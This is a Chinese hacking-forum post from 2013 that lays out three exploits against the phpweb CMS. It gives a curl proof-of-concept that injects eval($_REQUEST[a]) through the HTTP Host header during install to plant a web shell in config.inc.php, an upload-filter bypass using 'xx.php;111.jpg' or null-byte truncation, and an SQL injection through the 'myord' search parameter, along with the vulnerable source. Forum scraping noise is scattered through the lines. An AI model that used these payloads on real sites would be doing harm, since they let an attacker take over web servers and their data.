找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2655|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
% `. p- B+ P+ u( L$ Z1 u, t/ `& K1 d5 K6 [/ P% Z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码9 x  G5 v: L* \, f2 H. e2 {

; X: _, p# K% N, |鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; f  s3 D$ b  r4 h# y; O+ u鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( h$ A$ k7 r# J# b 7 n: |' x; `7 `& `
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响* I- D4 |0 I$ N  }( L$ l8 |0 W1 @; o

0 `% j, M0 j( q; o分析:' f$ M+ T# v2 I9 [) u0 s# Y
$ s3 ~6 b- a# C, N
) B  s5 U3 {1 Q4 @- k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& T- d( \8 l2 v+ k/ j8 ?7 y 0 n( F* m) G9 ~9 v( q4 Q/ |2 _
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);6 a2 E% I5 ^; c
                                            $filestr=str_replace(" ","",$filestr);4 x: g" E! o/ y5 K- p- [
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
3 k: X5 k0 p& W                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);+ H5 h  p8 M$ y% f5 [2 s& y
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);+ x2 p  c8 ~; c/ P
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
/ t$ N' y/ u: R# O0 J                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);4 N0 n2 T& D2 b* \. x# o$ w
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);# z* z1 X# E5 q3 s* K- Z& O. p
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. B+ K) Q% M$ N9 W0 l/ w8 \/ u& _: B+ z

* h* n+ P9 P$ e" x9 e& A                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
$ s5 H$ H* z' ]4 [6 L( x" }) j$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^: m7 c) P/ L- C, O" q8 }: H* K; c

( {3 F' S* Q; r* c" Spoc:; G" K, _9 B$ }* P; D/ ~
! U/ w$ ?6 J# @& E+ q$ z
?
7 K3 o7 X: e4 J0 T0 E' W1 d1- _; Q8 Y! D8 @0 f' w. ?( F
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ L* E( b; {7 O1 t0 c
shell地址: /config.inc.php
( P4 h9 A3 b+ I( S跟之前的 phpcms一样 需要远程数据库
9 T2 J; V7 U' X) F, H7 u
" L' P' G! L# T+ [——————————————————–
) t, T4 ~; s0 e$ \5 N! k上传漏洞(需要进后台):
" X0 T, @; t- O6 @) M8 J漏洞文件: /kedit/upload_cgi/upload.php
4 d1 T3 O. ?" N这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
* k/ T# p, g# e5 Z# ?+ \+ I
5 u: j% ^  r! X; |; V# i; g 8 h" [4 m7 q6 m6 J
<?php6 U2 n0 S# ^. C0 x
    define("ROOTPATH", "../../");
& \4 o! g) f! u. g& C# L5 A    include(ROOTPATH."includes/admin.inc.php");& y3 D: e! R( \3 A8 N6 w
    NeedAuth(0);
% V0 u  Q3 l, Y& T% H 5 ^5 e) p! u! }- C7 M* i
    $dt=date("Ymd",time());0 k0 ]8 E  S5 o! I
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
& E# |% L2 S& k+ n: K4 W; |            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' h7 {6 l; Q& b    }
$ |0 ~! `: {- h9 \
* X+ r1 `6 b) q( z, R+ b* F    //文件保存目录路径
9 K2 b/ }4 p3 [+ j/ Y7 ?0 A! [    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
' g7 U& d* g: e8 y" |3 i    echo $save_path;
3 G' o) o5 k& Q! B) z/ V+ d+ R    //文件保存目录URL
# G: M  s* a0 @2 N    $save_url = '../../'.$_POST['attachPath'].$dt.'/';6 i( X$ ]$ W; e1 Z& h" j7 b

) s% Y* y9 `3 C8 X0 r# w    //定义允许上传的文件扩展名, b; d0 H4 ]: s9 A. E3 F) @
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 G! ?9 e! K5 X. U. A + M# c6 A5 A& G9 A
    //最大文件大小
7 [) a+ E4 i' f1 z    $max_size = 1000000;! Q( |! ]7 a" Y4 R% ^/ D+ _6 [
( I% L- W8 U' D) l) |
    //更改目录权限
. ?5 r# i' j/ {    @mkdir($save_path, 0777);
7 B" h9 J) K, ^. j# E
- R5 D) @+ b+ K4 H0 ^$ h    //文件的全部路径$ q. c# V4 C  S. ^& a( M5 \8 a
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
* X/ I( i1 l" A  d7 A* c
4 c5 V' E4 |' p, K7 }3 p    //文件URL9 G* C* I- p7 Y8 L
    $file_url = $save_url.$_POST['fileName'];
5 D, ]% p! W8 a6 N6 n//有上传文件时0 X2 B, |5 `+ i" q1 ?
    if (empty($_FILES) === false) {' \9 n3 P! I# x3 v4 d! q0 K/ N
; L& M8 z# E3 X* G  O( d7 t4 I
            //原文件名/ U3 C% j5 E7 {2 Q# t0 G
            $file_name = $_FILES['fileData']['name'];4 a* u4 C0 L# x" a8 x% w  W
            //服务器上临时文件名% v( b5 H" b+ P' s) y7 t
            $tmp_name = $_FILES['fileData']['tmp_name'];2 y0 A) w; F; d8 G0 s
            //文件大小
+ W- v4 m" V0 V6 H+ _9 _            $file_size = $_FILES['fileData']['size'];
+ M& p* @' A  A( g            //检查目录' F2 S: j0 {: W* f# V1 D7 n
            if (@is_dir($save_path) === false) {
( k5 t% Z5 U5 _% C4 H2 P* M                    alert("上传目录不存在。");9 [+ Q) Y) {5 S# J! f. A
            }+ s) o: T8 v6 V5 r5 G/ v6 E
            //检查目录写权限
# R  M' t" t; [# S            if (@is_writable($save_path) === false) {0 e5 b+ X8 C8 g$ U
                    alert("上传目录没有写权限。");
" V& E# t; ~+ \) r. G1 h            }
; v  ~& x' A* ]            //检查是否已上传# H7 L: r* z' x8 |- R/ S
            if (@is_uploaded_file($tmp_name) === false) {: p) Q  K0 Q/ |8 Q5 ^+ H% f; _' w
                    alert("临时文件可能不是上传文件。");
- i  H2 h* W" @% f. B            }
! o- Z; |9 F' Q; u* q! L. n  ]            //检查文件大小  t+ \: E0 B* d
            if ($file_size > $max_size) {
$ ?! M' z; {& X- }                    alert("上传文件大小超过限制。");
. K0 Y( I. c. l, v; ^            }# n# \1 o  w9 y/ H6 G7 ^0 N- ^1 m
            //获得文件扩展名
( N& |6 \& v' e1 Q4 z+ e            $temp_arr = explode(".", $_POST['fileName']);
( F- Q" P7 _, t( |/ d            $file_ext = array_pop($temp_arr);; k$ M: _, Q1 i
            $file_ext = trim($file_ext);+ ^' `9 C9 d. t, Q" v
            $file_ext = strtolower($file_ext);
/ ]) l; ]$ i5 j; a  l6 r  U+ y * o; W8 }- u1 i7 c# }
            //检查扩展名   
/ ?$ Y& u* P; {- `& W            if (in_array($file_ext, $ext_arr) === false) {     8 ^& f8 e! z" M0 `
                    alert("上传文件扩展名是不允许的扩展名。");
* p$ D+ c9 e+ n) L. o            }* e" {  L/ s  A* |! x$ X& K

7 q% I' K  V+ k            //移动文件   
$ S+ f5 c! Q  L+ Y. S! d            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
0 P8 e+ s* C# Q& u            if (move_uploaded_file($tmp_name, $file_path) === false) {
# U" j% ?# L0 d+ L4 }                    alert("上传文件失败。");
* A) R: c, y1 x, ^, S& q; V. I. ]            }. |8 C) l( K1 H% b
& v% j" p' Y7 \$ _% |9 a1 C* d
            @chmod($file_path,0666);- O4 T2 o) e* D" l6 Q; T
. i8 Y- C+ I  L2 q" a3 p8 s
    ?>
" M* ]  d6 B6 G抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 @/ H1 B# S5 \6 B9 [+ {! @4 Q
( N. p; E- V, R, Oapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过: M. A  |3 s2 @' T! \

4 e5 g/ f  h: r2 }, Q——————————————————; W& w0 Z; i+ ]5 K5 P" t
注入漏洞:
2 c2 U/ ]2 R; [# B- B2 W漏洞文件:search/module/search.php
" {6 ^& u+ \" \/search/index.php?key=1&myord=1 [sqlinjection]
6 y, i1 |! ~+ u# u* r8 O! I $ n0 I7 x) `, i2 K4 t
# t  i! g. Q, [1 F  u$ ]2 ?* q
<?php5 n/ Q1 }- S7 U& S, ?) Y
   //       ... 省略 n 行...
7 F: e1 E- O% P! P  N) _   //第18行:
# q: {& `, ^+ z, e           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响3 I5 o) o8 [. F/ G, p
           $page=htmlspecialchars($_GET["page"]);
6 g3 `6 i% U% Y8 }           $myord=htmlspecialchars($_GET["myord"]);
( A, T7 T1 a7 @+ ?6 p* `* {1 s3 d5 J0 g & W- F" t6 e" ^6 c" [! J' T
   //       ... 省略 n 行...
- ^, I. `) p- x   $key,$myord 两个参数带入查询9 O' ?' p: I3 G# V# |( a7 d
   //第47行 $key:
, H0 j! y9 H7 ?" ]  d, L 6 j4 q7 W' s* [
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
) b  v+ t8 b% W; w/ |# i) t
# X7 R) D3 T; a" X  Y3 O   //第197行 $myord) a9 x* E3 q; Q& Z6 S9 W
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入2 n% ^+ o% E4 r6 H, q' Z+ ]% Q

' S3 H9 _, J/ N; o   ?>
7 u3 u$ p% K3 y" ]5 }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表